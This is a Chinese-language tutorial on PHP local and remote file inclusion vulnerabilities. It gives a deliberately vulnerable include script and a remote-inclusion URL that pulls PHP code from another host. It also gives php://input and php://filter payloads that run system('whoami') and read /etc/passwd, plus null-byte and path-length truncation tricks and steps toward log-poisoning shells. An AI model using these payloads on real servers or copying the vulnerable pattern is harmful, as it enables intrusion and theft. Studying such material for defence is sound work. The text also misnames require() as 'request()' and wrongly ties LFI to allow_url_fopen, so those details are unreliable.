1.文件包含的原理
1.1为什么要使用文件包含
将一些自定义函数或功能写在一个a文件内,当b文件中要使用到a文件内的一些函数或功能时,b文件只需要包含a文件,这样b文件就可以直接调用a文件内定义好的函数或一些功能,这样方便省事。
1.2相关测试代码
php文件包含代码
<?php
if ($_GET['file']) {
include $_GET['file'];
}else {
include 'default.php';
}
?>
存放于本地和远程服务器上的符合php语法的txt文件
<?php
phpinfo();
?>
1.3本地文件包含(LFI)
条件:php配置文件中的
allow_url_fopen = on
选项打开
传入参数本地文件phpinfo.txt的相对或绝对路径?file=phpinfo.txt
符合php语法的内容被php解析
1.4远程文件包含(RFI)
条件:php配置文件中的
allow_url_fopen = on,allow_url_include = on
选项打开
传入参数远程服务器上的文件php.txt?file=http://192.168.1.168/php.txt
符合php语法的内容被php解析
2.文件包含漏洞
2.1漏洞原理
由于对传入的文件名或路径没有进行严格过滤,这就导致了可以包含一些其他对攻击者有用的文件,比如配置文件,图片木马等文件,这样就存在敏感信息泄露,被攻击者掌握服务器等危险。被包含的文件格式不限,其中符合脚本语言语法规范的部分会被脚本解析,其他部分会以明文暴露出来。
2.2相关函数
文件包含的案例多出现于以php语言中
include() //包含的文件如果找不到,会发出警告,代码继续执行
request() //包含的文件如果找不到,或发出致命错误,代码终止执行
include_once()
request_once() //once表示只包含一次,不会重复包含
2.3php伪协议
1.input
通过post提交,利用php流input执行php代码
条件:
allow_url_include = on
url栏:?file=php://input
post栏:<?php system('whoami');?>
2.filter
通过php流filter读取文件内容,配合base64编码,读出被解析的部分
条件:
allow_url_include = on
传入参数:?file=php://filter/read=convert.base64-encode/resource=/etc/passwd
2.4漏洞利用技巧
1.%00截断
条件
魔术引号关闭magic_quotes_gpc = off
php版本小于5.3
有的文件包含会在传入参数后链接一个路径或者文件后缀,例如
测试代码
<?php
$a = $_GET['file'];
include $a.'.txt'
?>
这个时候简单的包含一个文件将失败,可以尝试%00截断的方式将后面拼接的.txt
给截断掉
%00会被解析成0x00,如果魔术引号开启,%00会被解析成/0
2.文件路径长度截断
除了可以使用%00截断,还可以尝试文件路径长度截断
条件
php版本小于5.3
可以在文件路径后添加
.
./
文件路径为奇数时使用
/.
文件路径为偶数时使用
着三种形式来达到超长文件路径的效果
Window下,文件路径长度超过259个字节后,超出的部分会被截断
Linux下下,文件路径长度超过4096个字节后,超出的部分会被截断
3.漏洞利用
- 包含图片马拿shell
- 包含日志文件拿shell
通过在url中写马或在User-Agent中写马
要求:通过burp或curl等工具写马绕过url编码,日志文件有可读权限,其目录有可执行权限 - 遍历目录,访问敏感文件